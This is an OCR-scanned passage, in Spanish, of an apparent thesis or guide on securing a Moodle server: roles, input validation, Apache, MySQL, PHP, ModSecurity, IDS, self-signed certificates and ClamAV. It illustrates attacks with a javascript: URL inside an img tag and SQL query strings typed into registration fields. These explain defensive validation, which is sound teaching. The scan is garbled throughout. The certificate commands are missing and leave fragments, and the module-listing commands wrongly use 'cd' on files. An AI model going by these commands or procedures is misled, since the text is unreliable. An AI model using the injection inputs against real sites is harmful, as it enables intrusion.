Filtro
Limpiar

Habilidad Permitido
Blogue: Administrar marcadores

Afiadir un nuevo blogue de marcadores (bookmarks) del admin a la pagina de Mi Hogar
blockiadmin_bookmarks myaddinstance

Bloque: Mis tltimas insignias

Afiadir un nuevo blogue de Mis Gltimas insignias a |a pagina de Mi hogar

block/badges :myaddinstance

Bloque: Calendario

Afiadir un nuevo blogue de calendario a Mi hogar

black/calendar_month:myaddinstance

Bloque: Eventos proximos

Afiadir un nuevo blogque de eventos proximos a Mi Hogar

block/calendar_upcoming :myaddinstance

Blogue: Comentarios

Afiadir un nuevo bloque de comentarios a Mi Hogar

blockicomments myaddinstance

Blogue: Buscador de comunidad

Afiadir un nuevo blogue de buscador de comunidad a Mi Hogar

blockicommunity :myaddinstance

Blogue: Cursos

Afiadir un nuevo blogque de cursos a Mi Hogar

block/course_list:myaddinstance

Bloque: Vista general del curso

Afiadir un nuevo blogque de vista general del curso a Mi Hogar

blockicourse_overvi

Bloque: Entrada aleatoria del glosario

‘myaddinstance

Figura 21. Permisos de la plataforma.

Generalizando, lo que se debe tener en cuenta a la hora de la seguridad en los roles es:
e Solo debe de haber un usuario con permisos de administrador, normalmente el creador de
la plataforma. Si se necesita ayuda se puede crear un rol nuevo como administrador

secundario que sea heredado de administrador y gestionar los permisos correctamente.



e Solo el administrador moodle/sitio: Permiso pata todo.

e Solo se debe de dar roles globales al administrador y al creador de curso. El resto se deja
con rol por defecto usuario autenticado. Una vez que estén los cursos creados, se pueden

asignar roles a los usuarios.

e No dar privilegios al rol de invitado.

e No modificar los roles predefinidos de la plataforma Moodle, estos roles estan bien
gestionados y cada rol tiene bien definidos los tipos de permisos. Si se necesita modificar
un rol para que se ajuste a lo deseado es mejor crear un nuevo rol que herede del rol que

se desea modificar.

e Bvitar en lo posible asignar roles a los usuarios.

e Por otro lado en el servidor.

V.4 Validacion de entradas

En cuestiones de seguridad de la informacion, la validaciéon de datos es un punto importante a
tomar en cuenta, especificamente en el desarrollo de sistemas conectados a redes, tanto publicas
(internet) como privadas (intranets). Validar los datos hace referencia a verificar, controlar o filtrar

cada una de las entradas de datos que provienen desde el exterior del sistema.

Especificamente en sitios Web o sistemas en linea, es fundamental poner algin mecanismo para

validar los datos en formularios en linea y en los parametros de las direcciones URL.

V.4.1 Validacién de cédigo HTML



En algunas aplicaciones como a ediciéon de blogs, sistemas de noticias, wiki’s entre otros, es
necesario aceptar coédigo HTML como entradas de los usuarios. Para mantener un nivel

apropiado de seguridad, los sistemas deben limitar las etiquetas y los atributos HTML permitidos.

El c6digo HTML recibido debe de cumplir estrictamente con los estandares de codificacion, por
lo que las etiquetas recibidas deben estar bien formadas, es decir: todas las etiquetas enviadas
deben de cerrarse en el contexto en el cual se insertaran, mismo que necesariamente tendra que
estar delimitado (aislado) para evitar la interferencia de coédigo enviado por el usuario en otras

instancias de la pagina.

Si una aplicacién acepta codigo HTML con entrada, es necesario:

e Identificar las etiquetas HTML seguras.
e FEl conjunto de etiquetas que se pueden permitir sin riesgos altos son:
. <p>’<b>’<i>,<em>’<strong>,<br>
El conjunto de etiquetas aceptadas deben ser estrictamente el menor posible. Las etiquetas

enviadas deben estar correctamente formadas.

V.4.2 Validacién de URL

Atributos como href y src emplean URL’s como argumento. Dependiendo del tipo de etiqueta
con el que se encuentran asociados, la URL puede ser referenciada y cargada en el momento en
que el navegador interpreta la etiqueta, o solo cuando el usuario realiza una accién sobre esta.

Si el valor de la URL se calcula en forma dindmica, el resultado puede ser influenciado por un
atacante. Si el atacante logra que una variable apunte a una pagina maliciosa, podra burlar la
proteccion del navegador, incluso hay navegadores que interpretan las URL’s con el esquema

javascript con lo que se puede escribir algo asi:

<img src="javascript:ejecutar_mi_script()”>



De esta forma en lugar de cargar la imagen se ejecuta el codigo.
Dentro de las etiquetas que hacen referencia a URL’s, se encuentra la etiqueta <a>, ésta no es
considerada una etiqueta HTML segura. Es posible usar <a> con atributo href predefinido a una

URL segura ya que permitir a un tercero crear enlaces propios implica un riesgo.

En ocasiones existen formularios HTML que solicitan al usuario proporcionar una direcciéon URL,

ademas de algunos otros datos, en la figura 20, se muestra un ejemplo de esta solicitud de datos.

Crear un nuevo usuario y contrasefia para acceder al sistema

Mombre de usuano™ |

Contrasefia [l Desenmascarar

Por favor, rellene los siguientes datos
Correo electrénico™
Correo (de nuevo)™
Mombre™
Apellidos™
Ciudad™

Pais™ | México |E|
Informacion complementaria
Facebook
Twitter
Institucion™
Dependencia UNAM | Ninguna

Dependencia externa

Area en la que colaboras

Cargo | Director E

Profesion

Figura 22. Solicitud de datos

En la mayoria de estos formularios que solicitan una direccion URL, éstas se especifican como
campos NO obligatorios, salvo que sean sistemas utilizados para reportar phishing, en tal caso, es

necesario validar correctamente este campo.



Validar una URL es sumamente complicado, pero es posible mediante el uso de expresiones
regulares, que dependiendo del lenguaje de programacion a utilizar, existen funciones muy utiles
para realizar esta tarea de validacion, y en combinacién con la funcionalidad de sustitucion de

caracteres peligrosos sobre las URL’s se adquieren un poco mas de seguridad.

V.4.3 Validacién de datos por parte del servidor

Evitar que lleguen datos erréoneos o campos vacios, ocasionando que la aplicacién arroje
resultados inesperados o que revele errores de los sistemas que estamos utilizando, tales como el
servidor de base de datos o el servidor Web. Ver la figura 21, donde nos arroja datos informacioén

de una base de datos.

Warning: SQL error: [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user """ \"\"., SQL state 28000 in SQLConnect in c:\inetpub'wwwroot'funciones.php on line 13

Figura 23. Datos de base de datos arrojados

Los campos de la figura 22, corresponden a un sencillo registro de usuarios que llenado
debidamente no tendria que ocasionar problemas. Supongamos que un usuario malintencionado

desea conseguir informacién del Sistema y realiza el llenado del formulario de la siguiente manera.

Crear un nuevo usuario y contrasefia para acceder al sistema
Mombre de usuario™ ||

Contrasefia DDESEI'IH"IESEEFHF

Por favor, rellene los siguientes datos

Correo electranico™
Correo (de nuevo)™
Mombre™
Apellidos™
Ciudad®

Pais™ | México (=]

Figura 24. Registro de usuarios



Crear un nuevo usuario y contrasefia para acceder al sistema
Mombre de usuario™ | merlin

Contrazefia®™ |cesessses O Desenmascarar

Por favor, rellene los siguientes datos

Correo electronico Direccian de correo no valida

Correo (de nuevo)™  |gelect * from mail where usuari

MNombre™ |select * from mail where usuario=chi

Apellidos select * from mail where usuario=chi

Ciudad™ |mexico

Pais™ | México [~]

Figura 25. Formulario con validaciones

En el ejemplo mostrado en la figura 23, es uno de un sinfin de combinaciones de llenado sobre el
formulario, en cada campo se puede probar distintas entradas y se pueden obtener resultados
diferentes cada vez que se llene el formulario, si las validaciones no estan correctamente hechas en

el servidor un atacante puede vulnerar el sistema.

Por esta manera se debe determinar el tipo de informaciéon que cada campo recopilara y de esta

manera, se pueden determinar filtros.

Es importante mencionar que los errores de configuracién en el servidor Web son muy
recurrentes, debido principalmente a no cambiar la configuracién predeterminada ante estas fallas,

cabe destacar los siguientes puntos.

% La seguridad en las aplicaciones Web es la mayor debilidad de las organizaciones.

% El hecho de estar disponible al publico en general complica la seguridad de su
informacion.

% Los errores de configuracion son comunes en las aplicaciones Web.

* Una inadecuada validacién de los datos vulnera la seguridad de las aplicaciones Web,

haciéndola susceptible a un exitoso ataque informatico.



V.5 Configuracion del servidor y otras configuraciones

La configuracién del servidor web es otro punto muy importante, ya que no es conveniente dejar
la configuracién por defecto. El contenido predeterminado es un problema comun. Un ejemplo

de esto son las paginas que vienen con la instalacion de los servidores web.

Si el contenido de prueba combina con el listado de directorios configurado en el sistema,
tenemos muchas posibilidades de comprometer al sistema, de esta manera resulta que es posible
obtener una version del sistema operativo, revisar el codigo fuente de prueba e incluso revisar los
script en el directorio donde se alojan. La figura 24, muestra la pagina de prueba cuando el

servidor web se ha instalado y tiene configuracién por defecto.

It works!

prueba de verdad This is the default web page for this server.

The web server software is running but no content has been added, vet.

Figura 26. Pagina de prueba cuando el servidor web.

V.5.1 Servidor

El servidor es independiente de la plataforma, es funciéon del administrador del sistema tener bien

configurado el servidor donde se esta se aloja.

V.5.1.1 Sistema Operativo

El sistema operativo esta formado por el software que permite acceder y realizar las operaciones
basicas en una computadora personal o sistema informatico en general. Los sistemas operativos

mds conocidos son: AIX (de IBM), GNU/Linux, HP-UX, (de HP), MacOS (de Macintosh),



Solaris (de SUN Microsystems), las distintas variantes de UNIX de BSD (freeBSD, OpenBSD), y

Windows en sus distintas variantes (de Microsoft).

En lo que a seguridad se refiere, un sistema operativo puede caracterizarse por:

La seguridad en el disefio: hay sistemas operativos que han sido creados con la seguridad como
objetivo fundamental de disefio. Estos seran de entrada mas seguros que los demas. En otros
sistemas operativos aunque no fuera el objetivo fundamental si ha podido ser un parametro
importante y por ultimo en otros no se ha considerado mas que a posteriori Es de esperar que

sean éstos ultimos los que mas problemas de seguridad tienen.

Un sistema mas complejo tendra mas errores relacionados con la seguridad en su analisis, disefio y
programacion. Y desgraciadamente, el nimero de errores y la dificultad de evaluacién no crecen

de acuerdo con la complejidad, crecen mucho mas rapido.

Capacidades de comunicacién y configuracion: los sistemas operativos modernos ofrecen grandes
capacidades de comunicacién. Desde el punto de vista de la seguridad, estas capacidades pueden
convertirse en puntos de acceso para posibles atacantes y serd necesario protegerlos. El
sistema operativo debera proveer de los mecanismos y herramientas necesarias para llevar a cabo
esta tarea de forma suficientemente fiable. Esto incluye ofrecer la capacidad de cerrar toda via de
comunicacién que no se use y limitar la que si se emplee a los casos y usuarios que realmente se

deseen permitir.

Desde el punto de vista de seguridad, la manera mas segura de tener la configuracion del host’ es
inicialmente instalar las herramientas minimas del sistema operativo, en otras palabras, instalar el

corazon del sistema operativo con sélo una cuenta de administrador y un acceso restringido.

Posteriormente se agregaran cuentas de usuarios, instalacién de aplicaciones, otorgamiento de

permisos para dichas aplicaciones, etcétera.

9 . . .

Nombre que se le da a una maquina conectada a una red de computadoras y que tiene un nombre de equipo
(hostname en inglés). Es un nombre tnico que se le da a un dispositivo conectado a una red de informatica. Puede
ser una computadora o un servidor de archivos, etcétera.



Desafortunadamente el proceso de instalacién de muchos sistemas operativos, no facilita lo
antes mencionado ya que se instalan componentes innecesarios sin permisos, es decir, se instala la

configuracion por default.

La seguridad de un sistema operativo involucra deshabitar o borrar servicios innecesarios, librerfas

o algin otro componente extrafio que se instala por default.

Capacidades de auditorfa: Los programas auditores de seguridad son herramientas indispensables
para el administrador de un sistema, ya que permite detectar, de forma rutinaria, problemas de

seguridad para los que pudieran existir ataques conocidos.

Estos programas pueden operar o muchos niveles, desde la comprobaciéon de la pertenencia de
archivos a usuarios y grupos del sistema, hasta pruebas sobre aplicaciones instaladas para verificar

si estas tienen agujeros conocidos.

V.5.1.2 Servidor Web

Un servidor Web es un programa que implementa el protocolo HTTP (hypertext transfer
protocol). Este protocolo esta disefiado para transferir lo que llamamos hipertextos, paginas Web
o paginas HTML (hypertext markup language): textos complejos con enlaces, figuras, formularios,
botones y objetos incrustados como animaciones o reproductores de sonidos [6]".

Sin embargo, el hecho de que HTTP y HTML estén intimamente ligados no debe dar lugar a

confundir ambos términos. HTML es un formato de archivo y HT'TP es un protocolo.

Cabe destacar el hecho de que la palabra servidor identifica tanto al programa como a la maquina
en la que dicho programa se ejecuta. Existe, por tanto, cierta ambigliedad en el término, aunque

no sera dificil diferenciar a cual de los dos nos referimos en cada caso.

Un servidor Web se encarga de mantenerse a la espera de peticiones HT'TP llevada a cabo por un
cliente HTTP que solemos conocer como navegador. El navegador realiza una peticiéon al

servidor y éste le responde con el contenido que el cliente solicita. A modo de ejemplo, al teclear



http://davinci.fi-b,unam.com.mx en nuestro navegador, éste realiza una peticion HTTP al
servidor de dicha direccién. El servidor responde al cliente enviando el cédigo HTML de la
pagina, el cliente, una vez recibido el codigo, lo interpreta y lo muestra en pantalla. Como vemos
con este ejemplo, el cliente es el encargado de interpretar el cédigo HIML, es decir, de mostrar
las fuentes, los colores y la disposicion de los textos y objetos de la pagina, el servidor tan sélo se
limita a transferir el codigo de la pagina sin llevar a cabo ninguna interpretacion de la misma.

Sobre el servicio Web clasico podemos disponer de aplicaciones Web. Estas son fragmentos de
cédigo que se ejecutan cuando se realizan ciertas peticiones o respuestas HTTP. Hay que

distinguir entre:

% Aplicaciones en el lado del cliente: el cliente Web es el encargado de ejecutatlas en la
maquina del usuario. Son las aplicaciones tipo Java o Javascript, el servidor proporciona el
cédigo de las aplicaciones al cliente y éste, mediante el navegador, las ejecuta. Es necesario,
por tanto, que el cliente disponga de un navegador con capacidad para ejecutar

aplicaciones (también llamadas scripts).

% Aplicaciones en el lado del servidor: el servidor Web ejecuta la aplicacion, ésta, una vez
ejecutada, genera cierto cédigo HTML, el servidor toma este codigo recién creado y lo

envia al cliente por medio del protocolo HTTP.

Las aplicaciones de servidor suelen ser la opcion por la que se opta en la mayoria de las ocasiones
para realizar aplicaciones Web. La razén es que, al ejecutarse ésta en el servidor y no en la
maquina del cliente, éste no necesita ninguna capacidad adicional, como si ocurre en el caso de
querer ejecutar aplicaciones javascript o java. Asi pues, cualquier cliente dotado de un navegador

Web basico puede utilizar este tipo de aplicaciones.

V.5.1.2.1 Servidor Web Apache

El servidor web apache es una de las implementaciones mas populares de un servidor Web en un
sistema operativo Unix, en febrero de 2010, Apache abarca el 54% de todos los sitios web en

Internet [7]". Es un software estable y fiable para sitios web con gran capacidad de carga y poco



consumo de carga. Es facilmente configurable y altamente flexible, ya que cuenta con un disefio
modular que permite utilizar sélo partes de la funcionalidad que realmente necesitamos. Esto
reduce el consumo de memoria del servidor lo que hace mas rapida la operaciéon. Sin embargo hay
que estar seguros de que esta configurado correctamente en términos de funcionalidad vy

seguridad.

Antes de empezar se debe comprobar que el servidor Apache esta compilado con los médulos de

seguridad que vamos a utilizar.

Para ver listar los médulos ejecutamos:

# cd /etc/apache2/mods-enabled/*.load
# cd /etc/apache2/mods-enabled/*.conf
# cd /etc/apache2/mods-available/*load
# cd /etc/apache2/mods-available /*.conf
# cd /usr/bin/a2enmod
# cd /usr/bin/a2dismod
Moédulos compilados:
¢ core.c: Funciones basicas del Apache que estan siempre disponibles.
* mod_access.c: proporciona control de acceso basandose en el nombre del host del
cliente, su direccién IP u otras caracteristicas de la peticion del cliente.
¢ mod_auth.c: autentificacion de usuario utilizando ficheros de texto.
¢ mod_auth_digest.c: autentificaciéon de usuario utilizando MD5.
¢ mod_include.c: Documentos HTML generados por el servidor (Server Side Includes).
¢ mod_log_config.c: registro de las peticiones hechas al servidor.
* mod_setenvif.c: permite la configuracion de las variables de entorno basandose en las
caracteristicas de la peticion.
* mod_ssl.c: criptografia avanzada utilizando los protocolos Secure Sockets Layer y
e Transport Layer Security.
¢ prefork.c: Implementa un servidor sin hilos.

* http_core.c



* mod_mime.c: asocia las extensiones de peticiones de los ficheros con el
comportamiento del fichero (manejadores y filtros) y contenido (tipos mime, idioma,
juego de caracteres y codificacion).

* mod_status.c: proporciona informacién en la actividad y rendimiento del servidor.

* mod_autoindex.c: muestra los contenidos de un directorio automaticamente, parecido
al comando Is de Unix.

* mod_asis.c: envio de ficheros que tienen sus propias cabeceras http.

¢ mod_cgi.c: Ejecucion de Scritps CGI.

* mod_negotiation.c: se proporciona para la negociaciéon del contenido.

¢ mod_dir.c: Proporcionado para redirecciones y para servir los ficheros de listado de
directorios.

¢ mod_imap.c: proceso de imagenes en el lado del servidor.

* mod_actions.c: este modulo se utiliza para ejecutar Scripts CGI, basandose en el tipo
de medio o el método de peticion.

¢ mod_userdir.c: directorios especificos para usuarios.

¢ mod_alias.c: proporcionado para mapear diferentes partes del sistema de ficheros del
servidor en el arbol de documentos del servidor, y para redireccién de URL's.

* mod_so.c: carga del cédigo ejecutable y los modulos al iniciar o reiniciar el servidor.

En la lista deben aparecer: mod_auth.c, mod_auth_digest.c, mod_ssl.c, mod_auth.c.

St los médulos mod_auth.c y mod_auth_digest.c no aparecen tendremos que recompilar Apache.

También una de las configuraciones de seguridad que se tienen que editar es el archivo security
dentro del directorio /etc/apache2/conf.d/.

Cambiaremos el parametro ServerTokens a Prod

ServerTokens Prod
Asi también ServerSignature a off

ServerSignature off



Lo que acabamos de hacer es esconder de los visitantes las versiones de software que estamos
utilizando en nuestro servidor web, esta informacién aparece cuando hay un error en un script, un
archivo no existente asi como en todas las respuestas a través de los headers http.

Esta practica es realizada por los hackers quienes utilizan las versiones del software encontrado
para detectar vulnerabilidades en las mismas y explotatrlas.

Instalacion del servidor Web Apache ver: Apéndice D. instalacion Moodle

V.5.1.2.2 Configuracién de Apache en Moodle.

Cuando los atacantes quieren filtrarse en un sitio web que comienzan por primera vez, si no esta
configurado correctamente, el servidor web puede exponer suficiente informacion a simple vista
que puede permitir al atacante encontrar un agujero de seguridad y acceder a datos o servicios

privados.

Toda la comunicacién entre el navegador web y el servidor web se realiza de acuerdo en el
Protocolo de Transferencia de Hipertexto (HTTP). Este protocolo es bastante simple. Un cliente
envia una peticiéon de un recurso y el servidor responde con una respuesta.

Por medio de las virtuales podemos utilizar una IP que es la que ya tenemos asignada y solo
agregar mas hostname y DNS que nos permitan configurar en el servidor nuestro Davinci. Esto

es en con los siguientes comandos [8]".

El comando principal de Apache, se encuentra ubicado en /bin/apachectl desde alli es posible
iniciar, detener y reiniciar el servidor web, asi como establecer un fichero de configuracion
personalizado para controlar el comportamiento del servidor. Por defecto el fichero de

configuracion que toma Apache se encuentra ubicado en /config/httpd.conf.

Existen dos elementos basicos que deben incluirse en dicho fichero de configuracién y estos son,
las directivas “DocumentRoot” y el parametro “Listen” que indican la ruta donde se encuentran
instaladas las aplicaciones web y el puerto por el cual el servidor web iniciara su ejecucion. Las
directivas en Apache son las unidades de configuracién mas utilizadas y probablemente las mas

importantes, ya que cada directiva activa o desactiva (segin su valor) determinadas caracteristicas



del servidor web, su entendimiento y correcto uso es vital. Sin embargo las directivas no son los
unicos elementos que se incluyen en un fichero de configuraciéon de Apache, de hecho existen 3
secciones que conforman el fichero de configuracion que son: Los parametros Globales, Las

directivas y los Hosts Virtuales. A continuacion se explican estas secciones.

V.5.1.3 MySQL

V.5.1.3.1 Configuraciéon de MySQL en Moodle.

La base de datos es crucial en un LMS y en Moodle no es la excepcion, la recomendacion de base
de datos para Moodle es MySQL. Mucho del desarrollo estd hecho usando este RDBMS" que
hacen menos propenso a errores y por lo tanto mejor prueba que las otras opciones. Esto, por
supuesto, no implica la seguridad por lo cual se necesitan hacer algunas configuraciones extras.

Aqui esta la lista de verificacion para la mejora de configuracion MySQL:

1. Cambie el password de super usuario que viene por default en la base de datos. Apéndice
D. instalacion Moodle.

2. Remueva el ejemplo de la base de datos que viene por default.

3. Otorgar los privilegios necesarios al usuario de la base de datos.

4. Restringir y deshabilitar el acceso remoto a la base de datos.
skip-networking

5. Asegurarse de que se encuentra en la ultima versién de instalacion.

V.5.1.4 PHP

PHP significa PHP: Hypertext Preprocessor. Este tipo de lenguaje es conocido como un
acréonimo recursivo. Un acrénimo recursivo es un acronimo que hace referencia a si misma en la

expresion de todos los que se encuentra. Se utiliza ampliamente en la programaciéon ya la

10Sistema de gestion de bases de datos relacionales
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recursividad es uno de los métodos comunes utilizados en la programaciéon de todos los dias.

PHP es un cédigo abierto y es utilizado para el desarrollo web.

V.5.1.4.1 Configuraciéon de PHP en Moodle.

Moodle esta escrito en PHP.
PHP como cualquier otro software tiene problemas reales y potenciales de seguridad, por lo
tanto debe estar correctamente configurad con el fin de reducir posibles problemas de seguridad

Apéndice D. instalacion Moodle.

V.5.2 Otras configuraciones

V.5.2.1 Firewall

Es un sistema de control de la informacién en forma de mensajes que entran o salen de una red.

Son muy populares hoy en dia y los hay de muchos tipos distintos.

En la siguiente figura 24 se muestra un ejemplo de un esquema del funcionamiento de un firewall

por hardware y software.
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Figura 24. Funcionamiento de un Firewall.

Existen dos tipos de firewall:

Firewall de software y Firewall de hardware.

Firewall de Hardware: Es una aparato que se utiliza en la redes (por lo general WAN o MAN)
para la proteccion de las mismas. Este tiene como principal funcién la proteccion de toda la Red,

ya sea LAN, WAN o MAN.

Firewall de Software: Es un programa que tiene como utilidad la protecciéon de los puertos del

computador, para evitar la entrada de "archivos maliciosos" (Virus, troyanos, etc.).



V.5.2.1.1 Instalando y configurando ModSecurity

ModSecurity es un firewall de aplicaciones Web embebible que ejecuta como médulo del servidor
web Apache, provee proteccion contra diversos ataques hacia aplicaciones Web y permite
monitorizar trafico HTTP, asi como realizar analisis en tiempo real sin necesidad de hacer

cambios a la infraestructura existente.

Es una herramienta para deteccioén y prevencion de intrusos para aplicaciones Web.

El modulo cuenta con diversas funcionalidades:

e Tiltrado de Peticiones: los pedidos HT'TP entrantes son analizados por el médulo
mod_security antes de pasarlos al servidor Web Apache, a su vez, estos pedidos son
comparados contra un conjunto de reglas predefinidas para realizar las acciones
correspondientes. Para realizar este filtrado se pueden utilizar expresiones regulares,
permitiendo que el proceso sea flexible.

e Técnicas antievasion: las rutas y los parametros son normalizados antes del analisis para evitar

técnicas de evasion.

V.5.2.21IDS

Un sistema de deteccion de intrusos (IDS, por sus siglas en inglés) analiza el equipo o monitorea
una red en busca de actividades sospechosas y envia reportes avisando al administrador para que

tome las acciones pertinentes.

Dentro de los sistemas detectores de intrusos existen tres tipos:

e Host IDS (HIDS): Se verifica el contexto del equipo local monitoreado ciertos aspectos

del host (memorias, biticoras, memoria disponible, etc.).

e Network IDS (NIDS): Monitorea el trafico de red analizando patrones maliciosos.
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e Distributed IDS (DIDS): IDS de red que esta distribuido en varios sensores que reportan

los hallazgos a un nodo central.

La idea de este tipo de deteccion es el hecho de que la actividad intrusiva coincide con un
conjunto de patrones definidos. Por ejemplo si un sistema se compromete el intruso tratara de
hacerse pasar por un usuario normal pero quedara asentado en bitacoras el acceso y las acciones

que este realice en el sistema.

En la mayorfa de los casos una actividad intrusiva es el resultado de ciertas actividades
individuales que por si solas no se consideran como un comportamiento anémalo o intrusivo.

Dependiendo de sus caracteristicas, las instrucciones pueden clasificarse en:

Intrusivas pero no anémalas (falsos negativos): El sistema erréneamente indica que la actividad
del sistema es normal y no reporta una intrusion. En este caso la actividad es intrusiva pero no es

detectada por qué no se clasifica como anémala.

No intrusiva pero anémalas (falsos positivos): El sistema erroneamente indica una intrusiéon. En
este caso la actividad se detecta como andémala y el sistema la reporta como intrusiva aun sin setlo.
Si se presentan muchos casos de este tipo, se puede llegar a ignorar los avisos de los problemas

auténticos del sistema.

No intrusiva ni anémala (negativos verdaderos): La actividad no es intrusiva ni anémala y el

sistema no genera reportes.

Intrusiva y anémala (positivos verdaderos): El sistema detecta actividad relacionada con una

intrusion del sistema y genera el reporte correspondiente.

V.5.2.3 Certificados SSL auto-firmados

Para establecer una conexion segura y de confianza es necesario generar certificados que

respalden la identidad del servidor. Estos certificados son generalmente emitidos por entidades



certificadoras (Certificate Authority) independientes y de confianza reconocida. Sin embargo, para

una utilizacién mas econémica, es posible crear un certificado “auto-firmado”.

root@debian:~# aptitude install openssl ca-certificates

Se ELIMIMARAM los siguientes pagquetes:
aisleriot{u} argyll{u} browser-plugin-gnash{u} cheese{u} file-roller{u} gdebi{u} gedit{u}
gedit-common{u} gedit-plugins{u} girl.2-gdata-0.0{u} girl.2-gnomekeyring-1.08{u} girl.2-goa-1.0{u}
girl.2-gtop-2.0{u} girl.2-gucharmap-2.90{u} girl.2-javascriptcoregtk-3.0{u} girl.2-rb-3.0{u}
girl.2-tracker-0,14{u} girl.2-webkit-3 8{u} gnash{fu} gnash-common{u} gnome-celeor-manager{u}
gnome-documents{u} gnome-games-datafu} gnome-games-extra-data{u} gnome-nettool{u}
gnome-shell-extensions{u} gnome-tweak-tool{u} gnome-video-effects{u} grile-plugins-0.1{u}
guile-2.0-Tibs{u} hamster-applet{u} inkscape{u} iputils-tracepath{u} libboost-threadl.49. 0{u}
libdee-1.0-4{u} libdiscid®{u} libdmapsharing-3.0-2{u} libgexiv2-1{u} libgpod-common{u} libgpod4{u}
libgrile-0.1-8{u} libgtkmm-2.4-1cZa{u} libgupnp-av-1.8-2{u} Llibgupnp-dlna-1.0-2{u} libicc2{u}
libimdiG{u} libminiupnpcS{u} libnatpmpl{u} librawS{u} librhythmbox-corec{u} libsofia-sip-ua-glib3{u}
libsofia-sip-ua®{u} Llibwnck-common{u} libwnck22{u} minissdpd{u} perlmagick{u} python-gconf{u}
python-gnome2{u} python-lxml{u} python-mako{u} python-markupsafe{u} python-pyorbit{u} python-wnck{u}
python-zeitgeist{u} rhythmbox{u} rhythmbox-data{u} rhythmbox-plugin-cdrecorder{u}
rhythmbox-plugins{u} rygel{u} rygel-playbin{u} rygel-preferences{u} rygel-tracker{u} seahorse{u}
shotwell{u} shotwell-common{u} simple-scan{u} sound-juicer{u} telepathy-rakia{u}
transmission-commonfiu} transmission-gtk{u} unoconv{u} xdg-user-dirs-gtk{u} xul-ext-adbleock-plus{u}
zeitgeist-core{ul}

0 paquetes actualizados, O nuevos instalados, 84 para eliminar y 6 sin actualizar.

Mecesito descargar O B de ficheros. Después de desempaquetar se liberaran 251 MB.

iDuiere continuar? [Y/n/?] ¥

Figura 27. Instalacion de SSL auto-firmados.

V.5.2.3.1 Generacion de los certificados

La generacién de un certificado SSL requiere de los siguientes pasos: primero es generada una
clave privada; en seguida ésta es usada para generar un pedido de certificacion (Certificate Signing
Request (CSR)). El pedido de certificacion es entonces enviado a la entidad certificadora
(Certificate Authority (CA)) que devuelve el certificado firmado. Es posible ahorrarse el dltimo
paso, generando un certificado auto-firmado (Self-signed Certificate).

Crear una carpeta llamada certs:

Clave privada sin contrasefa.

La clave privada esta encriptada y protegida por una contrasefia, lo que implica que ésta debe
escribirse cada vez que un servicio necesite la clave. Como solucién, es posible generar una

version de la clave sin la proteccion de la contrasefia:



Esta clave sin contrasefia, debe ser almacenada con especial cuidado y sélo debe ser accesible por
el usuario root:

chmod 600 server.key.insecure

Pedido de certificacion

Para generar un pedido de certificacion (Certificate Signing Request), debe indicarse en el
campo Common Name el nombre del servidor para el cual sera generado el certificado. En caso
de que un certificado sea requerido por varios servidores del mismo dominio, es posible usar la

sintaxis *.home.davinci:



ts Pty Ltd]:FI Unam

fi-b.unam.

Certificado auto-firmado

El pedido de certificaciéon deberia ser enviado a la entidad certificadora, que devolveria el
certificado firmado. En este caso, serd utilizado para crear un certificado (Self-Signed Certificate),

valido por 365 dias:

ts Pty Ltd]:unam

i-b.ounam.com.mx

El proceso de creacion de los certificados concluyd. Al final, fueron generados los siguientes

archivos:



Archivo Descripcion

server.key A chave privada
server.key.insecure = ILa clave privada sin contrasena
Server.cst El pedido de firma del certificacion

server.crt Al certificado auto-firmado

Tabla 1. Proceso de certificados

El certificado auto-firmado es valido por 365 dfas, pero puede ser renovado en cualquier
momento, al regenerar el certificado auto-firmado.
Instalacion de la clave privada y del certificado auto-firmado

Para esto, debe copiarse las claves privadas en /etc/ssl/ptivate y el certificado en /etc/ssl/certs:

s Pty Ltd]:unam

fi-h.unam.com.mx

Com. me

Asi, el certificado auto-firmado esta listo para utilizarse.
Como se trata de un certificado auto-firmado, su utilizacién siempre dard origen a un aviso por

parte de la aplicacion cliente:



fi-b.unam

you need to run:

V.5.2.3.2 Verificacion

En un navegador de internet, inserte la direccién del servidor (https://192.168.248.128 /moodle).

Después aparecera el aviso del certificado auto-firmado:

[ Firefox - @ =

L, Untrusted Connection +

& 192.168.248.128

2N - RO

G 8 This Connection is Untrusted

A You have asked Firefox to connect securely to 192.168.248.128, but we can't confirm that your
connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove that you
are going to the right place. However, this site’s identity can't be verified,

What Should I Do?

If you usually connect to this site without problems, this error could mean that someone s trying to
impersonate the site, and you shouldn't continue.

| Getme outof here! |
Technical Details

I Understand the Risks
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\NGENIERu Division de Ingenieria Eléctrica

Go

iBienvenidos!

V.5.2.4 Actualizaciéon del software

Una de las principales actividades que debemos llevar a cabo para disponer del equipo seguro es
actualizar software en las ultimas versiones, y no por disponer de las funcionalidades mas
importantes, sino porque generalmente cada actualizacion vienen no solo con nuevas
presentaciones sino que afade parches de seguridad que corrigen errores que suelen volver

vulnerable el equipo de computo.

Es recomendable suscribirse a las listas de seguridad de cada elemento y estar atentos a las

publicaciones de fallos y vulnerabilidades.

Se suele emplear alguna herramienta, que detectan las aplicaciones desactualizadas o con huecos

de seguridad en el software instalado, con esta manera se consigue mantener nuestro software al

dia.

V.5.2.5 Antivirus

Como hemos comentado en la administracion de la plataforma Moodle, se puede descargar e

instalar el antivirus ClamAV® que es GPL. Una vez instalado y configurado el antivirus se



conecta automaticamente con Moodle si activamos las opciones. El antivirus es muy util si
queremos que se analicen los archivos que se suben al servidor, evitando asf la insercién de virus o

cualquier otro archivo nocivo para el sistema.

Para configurar el antivirus es necesario especificar la ruta donde esta instalado el programa. La

ruta debe ser: /ust/bin/clamscan o/usr/bin/clamdscan.

V.5.2.5.1 Instalaciéon de ClamAV en Moodle

Hay que configurar en el ambiente, en la seccion de seguridad=> le damos la ruta del antivirus=> y
directorio de cuarentena (tomar en cuenta que las firmas se tiene actualizadas, si no es posible que

eliminen por accidente la informacion.

Desde la linea de comando ejecutamos, ver la figura 28:

root@debian:-# apt-get install clamav-base clamav
Leyendo lista de paguetes... Hecho

Creando arbol de dependencias

Leyendo la informacién de estado... Hecho

clamav ya esta en su version mas reciente,
clamav-base ya estd en su versidn més reciente.
fijado clamav-base como instalado manualmente.

root@debian: fhomespatty/Descargas# clamscan
fhome/patty/Descargass/jre-7u2s-linux-1586.tar . gz: OK
fhome/patty/Descargas/unidadl cel.zip: OK
fhome/patty/Descargas/new.zip: OK

fhome/patty/Descargas/copla_de seguridad-c.e,9-20120806-1815.z1ip: OK
fhome/patty/Descargas/CETaread Ejercicios ImpedAdmit solucion circuitos mediante Laplace 1.dec: OK
